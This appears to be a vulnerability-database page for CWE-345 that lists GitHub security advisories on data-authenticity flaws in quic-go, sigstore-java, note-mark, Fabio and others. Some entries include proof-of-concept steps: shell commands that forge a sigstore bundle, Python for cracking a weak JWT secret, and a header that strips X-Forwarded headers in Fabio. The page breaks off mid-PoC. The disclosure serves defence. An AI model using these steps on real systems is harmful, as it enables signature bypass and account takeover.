CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
942 vulnerabilities reference this CWE, most recent first.
GHSA-PX8V-PP82-RCVR
Vulnerability from github – Published: 2024-12-02 17:28 – Updated: 2024-12-04 22:16Impact
An off-path attacker can inject an ICMP Packet Too Large packet. Since affected quic-go versions used IP_PMTUDISC_DO, the kernel would then return a "message too large" error on sendmsg, i.e. when quic-go attempts to send a packet that exceeds the MTU claimed in that ICMP packet.
By setting this value to smaller than 1200 bytes (the minimum MTU for QUIC), the attacker can disrupt a QUIC connection. Crucially, this can be done after completion of the handshake, thereby circumventing any TCP fallback that might be implemented on the application layer (for example, many browsers fall back to HTTP over TCP if they're unable to establish a QUIC connection).
As far as I understand, the kernel tracks the MTU per 4-tuple, so the attacker needs to at least know the client's IP and port tuple to mount an attack (assuming that it knows the server's IP and port).
Patches
The fix is easy: Use IP_PMTUDISC_PROBE instead of IP_PMTUDISC_DO. This socket option only sets the DF bit, but disables the kernel's MTU tracking.
Has the problem been patched? What versions should users upgrade to?
Fixed in https://github.com/quic-go/quic-go/pull/4729 Released in https://github.com/quic-go/quic-go/releases/tag/v0.48.2
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Use iptables to drop ICMP Unreachable packets.
References
Are there any links users can visit to find out more?
This bug was discovered while doing research for my new IETF draft on IP fragmentation: https://datatracker.ietf.org/doc/draft-seemann-tsvwg-udp-fragmentation/
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/quic-go/quic-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.48.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-53259"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-02T17:28:14Z",
"nvd_published_at": "2024-12-02T17:15:12Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn off-path attacker can inject an ICMP Packet Too Large packet. Since affected quic-go versions used `IP_PMTUDISC_DO`, the kernel would then return a \"message too large\" error on `sendmsg`, i.e. when quic-go attempts to send a packet that exceeds the MTU claimed in that ICMP packet.\n\nBy setting this value to smaller than 1200 bytes (the minimum MTU for QUIC), the attacker can disrupt a QUIC connection. Crucially, this can be done after completion of the handshake, thereby circumventing any TCP fallback that might be implemented on the application layer (for example, many browsers fall back to HTTP over TCP if they\u0027re unable to establish a QUIC connection).\n\nAs far as I understand, the kernel tracks the MTU per 4-tuple, so the attacker needs to at least know the client\u0027s IP and port tuple to mount an attack (assuming that it knows the server\u0027s IP and port).\n\n### Patches\n\nThe fix is easy: Use `IP_PMTUDISC_PROBE` instead of `IP_PMTUDISC_DO`. This socket option only sets the DF bit, but disables the kernel\u0027s MTU tracking.\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed in https://github.com/quic-go/quic-go/pull/4729\nReleased in https://github.com/quic-go/quic-go/releases/tag/v0.48.2\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nUse iptables to drop ICMP Unreachable packets.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\nThis bug was discovered while doing research for my new IETF draft on IP fragmentation: https://datatracker.ietf.org/doc/draft-seemann-tsvwg-udp-fragmentation/\n",
"id": "GHSA-px8v-pp82-rcvr",
"modified": "2024-12-04T22:16:38Z",
"published": "2024-12-02T17:28:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/security/advisories/GHSA-px8v-pp82-rcvr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53259"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/pull/4729"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/commit/ca31dd355cbe5fc6c5807992d9d1149c66c96a50"
},
{
"type": "PACKAGE",
"url": "https://github.com/quic-go/quic-go"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go/releases/tag/v0.48.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "quic-go affected by an ICMP Packet Too Large Injection Attack on Linux"
}
GHSA-Q3CC-RR2C-87R6
Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2024-05-02 12:18Hex package manager hex_core version 0.3.0 and earlier contains a Signing oracle vulnerability in Package registry verification that can result in Package modifications not detected, allowing code execution. This attack appears to be exploitable via victim fetches packages from malicious/compromised mirror. This vulnerability appears to have been fixed in 0.4.0.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "hex_core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1000013"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-02T12:18:21Z",
"nvd_published_at": "2019-02-04T21:29:00Z",
"severity": "HIGH"
},
"details": "Hex package manager hex_core version 0.3.0 and earlier contains a Signing oracle vulnerability in Package registry verification that can result in Package modifications not detected, allowing code execution. This attack appears to be exploitable via victim fetches packages from malicious/compromised mirror. This vulnerability appears to have been fixed in 0.4.0.",
"id": "GHSA-q3cc-rr2c-87r6",
"modified": "2024-05-02T12:18:21Z",
"published": "2022-05-13T01:07:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1000013"
},
{
"type": "WEB",
"url": "https://github.com/hexpm/hex_core/pull/48"
},
{
"type": "WEB",
"url": "https://github.com/hexpm/hex_core/pull/51"
},
{
"type": "PACKAGE",
"url": "https://github.com/hexpm/hex_core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Hex authenticity of signed packages not validated"
}
GHSA-Q4XM-6FJC-5F6W
Vulnerability from github – Published: 2024-11-26 16:38 – Updated: 2024-12-09 17:00Summary
sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log
Impact
This bug impacts clients using any variation of KeylessVerifier.verify()
The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged.
This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.
The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.
sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.
Steps To Reproduce
Build the java sigstore-cli at v1.0.0
git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java
cd sigstore-java
./gradlew :sigstore-cli:build
tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1
Create two random blobs
dd bs=1 count=50 </dev/urandom > blob1
dd bs=1 count=50 </dev/urandom > blob2
Sign each blob using the cli
./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1
./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2
Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle
jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json
Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.
cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'
sha256sum blob1 blob2
Verify the bundle against blob1
./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1
# no errors???!
Patches
Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166
Workarounds
- Verifiers can recreate the log entry and compare it to the provided log entry.
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);
var rekorEntry = bundle.getEntries().get(0);
var calculatedHashedRekord =
Base64.toBase64String(
HashedRekordRequest.newHashedRekordRequest(
artifactDigest,
Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),
bundle.getMessageSignature().get().getSignature())
.toJsonPayload()
.getBytes(StandardCharsets.UTF_8));
if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {
throw new Exception("Provided verification materials are inconsistent with log entry");
}
- Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();
var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();
var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);
var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());
RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "dev.sigstore:sigstore-java"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.0.0"
]
}
],
"aliases": [
"CVE-2024-53267"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-26T16:38:18Z",
"nvd_published_at": "2024-11-26T19:15:30Z",
"severity": "MODERATE"
},
"details": "### Summary\nsigstore-java has insufficient verification for a situation where a validly-signed but \"mismatched\" bundle is presented as proof of inclusion into a transparency log\n\n### Impact\n\nThis bug impacts clients using any variation of KeylessVerifier.verify()\n\nThe verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby \"verifying\" a bundle without any proof the signing event was logged.\n\nThis allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor\u0027s log monitors.\n\nThe signer\u0027s identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.\n\nsigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.\n\n### Steps To Reproduce\n\nBuild the java sigstore-cli at v1.0.0\n```shell\ngit clone --branch v1.0.0 git@github.com:sigstore/sigstore-java\ncd sigstore-java\n./gradlew :sigstore-cli:build\ntar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1\n```\n\nCreate two random blobs\n```shell\ndd bs=1 count=50 \u003c/dev/urandom \u003e blob1\ndd bs=1 count=50 \u003c/dev/urandom \u003e blob2\n```\n\nSign each blob using the cli\n```shell\n./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1\n./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2\n```\n\nCreate a falsified bundle including the base64Signature and cert fields from blob1\u0027s bundle and the rekorBundle from blob2\u0027s bundle\n```shell\njq --slurpfile bundle2 blob2.sigstore.json \u0027.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries\u0027 blob1.sigstore.json \u003e invalidBundle.sigstore.json\n```\n\nFind the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.\n```shell\ncat invalidBundle.sigstore.json | jq -r \u0027.verificationMaterial.tlogEntries[0].canonicalizedBody\u0027 | base64 -d | jq -r \u0027.spec.data.hash.value\u0027\n\nsha256sum blob1 blob2\n```\n\nVerify the bundle against blob1\n```shell\n./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1\n# no errors???!\n```\n\n### Patches\nPatched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856\nAdded conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166\n\n### Workarounds\n1. Verifiers can recreate the log entry and compare it to the provided log entry.\n```\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);\nvar rekorEntry = bundle.getEntries().get(0);\nvar calculatedHashedRekord =\n Base64.toBase64String(\n HashedRekordRequest.newHashedRekordRequest(\n artifactDigest,\n Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),\n bundle.getMessageSignature().get().getSignature())\n .toJsonPayload()\n .getBytes(StandardCharsets.UTF_8));\nif (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {\n throw new Exception(\"Provided verification materials are inconsistent with log entry\");\n}\n```\n2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log\n```java\nvar bundle = Bundle.from(bundleFile, StandardCharsets.UTF);\nvar artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();\nvar sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();\nvar trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);\nvar entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());\nRekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);\n```\n",
"id": "GHSA-q4xm-6fjc-5f6w",
"modified": "2024-12-09T17:00:45Z",
"published": "2024-11-26T16:38:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-java/security/advisories/GHSA-q4xm-6fjc-5f6w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53267"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-conformance/pull/166"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/sigstore-java/pull/856"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/sigstore-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "sigstore-java has vulnerability with bundle verification"
}
GHSA-Q5MM-JCP2-MC43
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-03-21 03:33** DISPUTED ** GNOME Evolution through 3.38.3 produces a "Valid signature" message for an unknown identifier on a previously trusted key because Evolution does not retrieve enough information from the GnuPG API. NOTE: third parties dispute the significance of this issue, and dispute whether Evolution is the best place to change this behavior.
{
"affected": [],
"aliases": [
"CVE-2021-3349"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-01T05:15:00Z",
"severity": "LOW"
},
"details": "** DISPUTED ** GNOME Evolution through 3.38.3 produces a \"Valid signature\" message for an unknown identifier on a previously trusted key because Evolution does not retrieve enough information from the GnuPG API. NOTE: third parties dispute the significance of this issue, and dispute whether Evolution is the best place to change this behavior.",
"id": "GHSA-q5mm-jcp2-mc43",
"modified": "2024-03-21T03:33:58Z",
"published": "2022-05-24T17:40:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3349"
},
{
"type": "WEB",
"url": "https://dev.gnupg.org/T4735"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/evolution/-/issues/299"
},
{
"type": "WEB",
"url": "https://mgorny.pl/articles/evolution-uid-trust-extrapolation.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q65V-97CJ-P6RH
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2026-04-08 18:32The Hide My WP Ghost – Security Plugin plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 5.0.18. This is due to insufficient restrictions on where the IP Address information is being retrieved for request logging and login restrictions. Attackers can supply the X-Forwarded-For header with with a different IP Address that will be logged and can be used to bypass settings that may have blocked out an IP address from logging in.
{
"affected": [],
"aliases": [
"CVE-2022-4537"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-09T03:15:09Z",
"severity": "MODERATE"
},
"details": "The Hide My WP Ghost \u2013 Security Plugin plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 5.0.18. This is due to insufficient restrictions on where the IP Address information is being retrieved for request logging and login restrictions. Attackers can supply the X-Forwarded-For header with with a different IP Address that will be logged and can be used to bypass settings that may have blocked out an IP address from logging in.",
"id": "GHSA-q65v-97cj-p6rh",
"modified": "2026-04-08T18:32:04Z",
"published": "2023-07-06T21:14:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4537"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/hide-my-wp/tags/5.0.18/models/Brute.php#L131"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/hide-my-wp/trunk/models/Brute.php#L132"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4cf89f94-587a-4fed-a6e4-3876b7dbc9ba?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q6MH-RQWH-G786
Vulnerability from github – Published: 2026-05-07 21:08 – Updated: 2026-05-15 23:45Summary
No minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte.
HS256 secrets below 32 bytes are brute-forceable offline, allowing attackers to recover the signing key and forge valid JWTs for arbitrary users.
Impact
An attacker who captures a single valid JWT (e.g, from cookies, logs, or network traffic) can:
> Crack the signing secret offline using brute-force or wordlist attacks > Forge valid JWTs for any user ID (including administrators) > Authenticate without knowing any credentials
This results in full account takeover across the entire application with no server-side detection or rate limiting possible.
Details
In backend/config/utils.go, the Base64Decoded.UnmarshalText function decodes the JWT secret but does not validate its length or entropy.
In backend/core/auth.go, JWT tokens are signed using HS256 without enforcing minimum key size requirements.
According to RFC 7518 Section 3.2, HS256 keys must be at least 256 bits (32 bytes). Libraries such as PyJWT explicitly warn against shorter keys, but note-mark performs no such validation.
PoC
1- Deploy note-mark with a weak secret:
JWT_SECRET = base64("testsecret123456789012345")
2- Register an account and capture the Auth-Session-Token cookie
3- Crack the secret offline (example using Python):
python
import jwt, base64
jwt.decode(TOKEN, base64.b64decode(SECRET), algorithms=["HS256"])
4- Forge a new token for any user UUID with extended expiry
5- Send the forged token in requests → server returns 200 Ok and authenticates as that user
Reproduction Steps
1- Deploy the application with a JWT secret shorter than 32 bytes (after base64 decoding) 2- Authenticate and capture a valid JWT 3- Perform offline brute-force or dictionary attack against the token signature 4- Recover the secret 5- Generate a forged JWT for another user 6- Use the forged token to access protected endpoints
Fix Recommendation
- Enforce a minimum of 32 bytes (256 bits) for JWT secrets after base64 decoding
- Reject weak secrets during configuration parsing (e.g., in
Base64Decoded.UnmarshalTextor config validation) - Optionally log warnings or fail startup if the secret is insecure
Resources
- RFC 7518 Section 3.2 (JSON Web Algorithms - HMAC key size requirements)
- CWE-326: Inadequate Encryption Strength
- CWE-345: Insufficient Verification of Data Authenticity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/enchant97/note-mark/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260501152247-18b587758667"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44523"
],
"database_specific": {
"cwe_ids": [
"CWE-326",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T21:08:10Z",
"nvd_published_at": "2026-05-14T19:16:37Z",
"severity": "CRITICAL"
},
"details": "#### Summary\n\nNo minimum length or entropy is enforced on the `JWT_SECRET` configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte.\n\nHS256 secrets below 32 bytes are brute-forceable offline, allowing attackers to recover the signing key and forge valid JWTs for arbitrary users.\n\n---\n\n#### Impact\n\nAn attacker who captures a single valid JWT (e.g, from cookies, logs, or network traffic) can:\n\n\\\u003e Crack the signing secret offline using brute-force or wordlist attacks\n\\\u003e Forge valid JWTs for any user ID (including administrators)\n\\\u003e Authenticate without knowing any credentials\n\nThis results in **full account takeover across the entire application** with no server-side detection or rate limiting possible.\n\n---\n\n#### Details\n\nIn `backend/config/utils.go`, the `Base64Decoded.UnmarshalText` function decodes the JWT secret but does not validate its length or entropy.\n\nIn `backend/core/auth.go`, JWT tokens are signed using HS256 without enforcing minimum key size requirements.\n\nAccording to **RFC 7518 Section 3.2**, HS256 keys must be at least 256 bits (32 bytes). Libraries such as PyJWT explicitly warn against shorter keys, but note-mark performs no such validation.\n\n---\n\n### PoC\n\n1- Deploy note-mark with a weak secret:\n\n ```\n JWT_SECRET = base64(\"testsecret123456789012345\")\n ```\n\n2- Register an account and capture the `Auth-Session-Token` cookie\n\n3- Crack the secret offline (example using Python):\n\n ```python\n import jwt, base64\n jwt.decode(TOKEN, base64.b64decode(SECRET), algorithms=[\"HS256\"])\n ```\n\n4- Forge a new token for any user UUID with extended expiry\n\n5- Send the forged token in requests \u2192 server returns **200 Ok** and authenticates as that user\n\n---\n\n### Reproduction Steps\n\n1- Deploy the application with a JWT secret shorter than 32 bytes (after base64 decoding)\n2- Authenticate and capture a valid JWT\n3- Perform offline brute-force or dictionary attack against the token signature\n4- Recover the secret\n5- Generate a forged JWT for another user\n6- Use the forged token to access protected endpoints\n\n---\n\n### Fix Recommendation\n\n* Enforce a **minimum of 32 bytes (256 bits)** for JWT secrets after base64 decoding\n* Reject weak secrets during configuration parsing (e.g., in `Base64Decoded.UnmarshalText` or config validation)\n* Optionally log warnings or fail startup if the secret is insecure\n\n---\n\n### Resources\n\n* RFC 7518 Section 3.2 (JSON Web Algorithms - HMAC key size requirements)\n* CWE-326: Inadequate Encryption Strength\n* CWE-345: Insufficient Verification of Data Authenticity\n\n---",
"id": "GHSA-q6mh-rqwh-g786",
"modified": "2026-05-15T23:45:05Z",
"published": "2026-05-07T21:08:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-q6mh-rqwh-g786"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44523"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/commit/18b58775866776ed400c403dd0ccad68c1fa4802"
},
{
"type": "PACKAGE",
"url": "https://github.com/enchant97/note-mark"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Note Mark has a JWT Secret Weakness that allows Full Account Takeover via Token Forgery"
}
GHSA-Q6R3-VPH9-QRQG
Vulnerability from github – Published: 2026-06-29 00:31 – Updated: 2026-06-29 00:31A security flaw has been discovered in MyScale MyScaleDB up to 1.8.0. This vulnerability affects the function SegmentId::getCacheKey in the library src/VectorIndex/Common/SegmentId.h. The manipulation results in insufficient verification of data authenticity. It is possible to launch the attack remotely. A high complexity level is associated with this attack. It is stated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks. The pull request to fix this issue awaits acceptance.
{
"affected": [],
"aliases": [
"CVE-2026-13513"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T00:16:47Z",
"severity": "LOW"
},
"details": "A security flaw has been discovered in MyScale MyScaleDB up to 1.8.0. This vulnerability affects the function SegmentId::getCacheKey in the library src/VectorIndex/Common/SegmentId.h. The manipulation results in insufficient verification of data authenticity. It is possible to launch the attack remotely. A high complexity level is associated with this attack. It is stated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks. The pull request to fix this issue awaits acceptance.",
"id": "GHSA-q6r3-vph9-qrqg",
"modified": "2026-06-29T00:31:40Z",
"published": "2026-06-29T00:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13513"
},
{
"type": "WEB",
"url": "https://github.com/myscale/MyScaleDB/issues/54"
},
{
"type": "WEB",
"url": "https://github.com/myscale/MyScaleDB/pull/55"
},
{
"type": "WEB",
"url": "https://github.com/myscale/MyScaleDB"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-13513"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/838878"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/374521"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/374521/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q747-C74M-69PR
Vulnerability from github – Published: 2025-11-03 20:12 – Updated: 2025-11-04 22:16When a user edits their profile to change their e-mail address, the system saves it without validating that it actually belongs to the user.
Impact
This could result in storing an invalid email address, preventing the user from receiving system notifications.
Notifications sent to another person's email address could lead to information disclosure.
Patches
Fixed in 2.27.2.
Workarounds
None
Credits
Thanks to @ncrcs for discovering and reporting the issue.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mantisbt/mantisbt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.27.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55155"
],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-03T20:12:18Z",
"nvd_published_at": "2025-11-04T21:15:39Z",
"severity": "MODERATE"
},
"details": "When a user edits their profile to change their e-mail address, the system saves it without validating that it actually belongs to the user.\n\n### Impact\nThis could result in storing an invalid email address, preventing the user from receiving system notifications.\n\nNotifications sent to another person\u0027s email address could lead to information disclosure.\n\n### Patches\nFixed in 2.27.2.\n\n### Workarounds\nNone\n\n### Credits\n\nThanks to @ncrcs for discovering and reporting the issue.",
"id": "GHSA-q747-c74m-69pr",
"modified": "2025-11-04T22:16:29Z",
"published": "2025-11-03T20:12:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-q747-c74m-69pr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55155"
},
{
"type": "WEB",
"url": "https://github.com/mantisbt/mantisbt/commit/21e9fbedde8553c29c0d3156e84f78157fc4f22e"
},
{
"type": "PACKAGE",
"url": "https://github.com/mantisbt/mantisbt"
},
{
"type": "WEB",
"url": "https://mantisbt.org/bugs/view.php?id=36005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MantisBT lacks verification when changing a user\u0027s email address"
}
GHSA-Q7P4-7XJV-J3WF
Vulnerability from github – Published: 2025-05-29 16:50 – Updated: 2025-05-30 15:25Summary
Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.
Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.
However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:
Connection: close, X-Forwarded-Host
Similar critical vulnerabilities have been identified in other web servers and proxies, including CVE-2022-31813 in Apache HTTP Server and CVE-2024-45410 in Traefik.
Details
It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded
PoC
The following docker-compose file was used for testing:
version: '3'
services:
fabio:
image: fabiolb/fabio
ports:
- "3000:9999"
- "9998:9998"
volumes:
- ./fabio.properties:/etc/fabio/fabio.properties
backend:
build: .
ports:
- "8080:8080"
environment:
- PYTHONUNBUFFERED=1
The fabio.properties configuration:
proxy.addr = :9999
ui.addr = :9998
registry.backend = static
registry.static.routes = route add service / http://backend:8080/
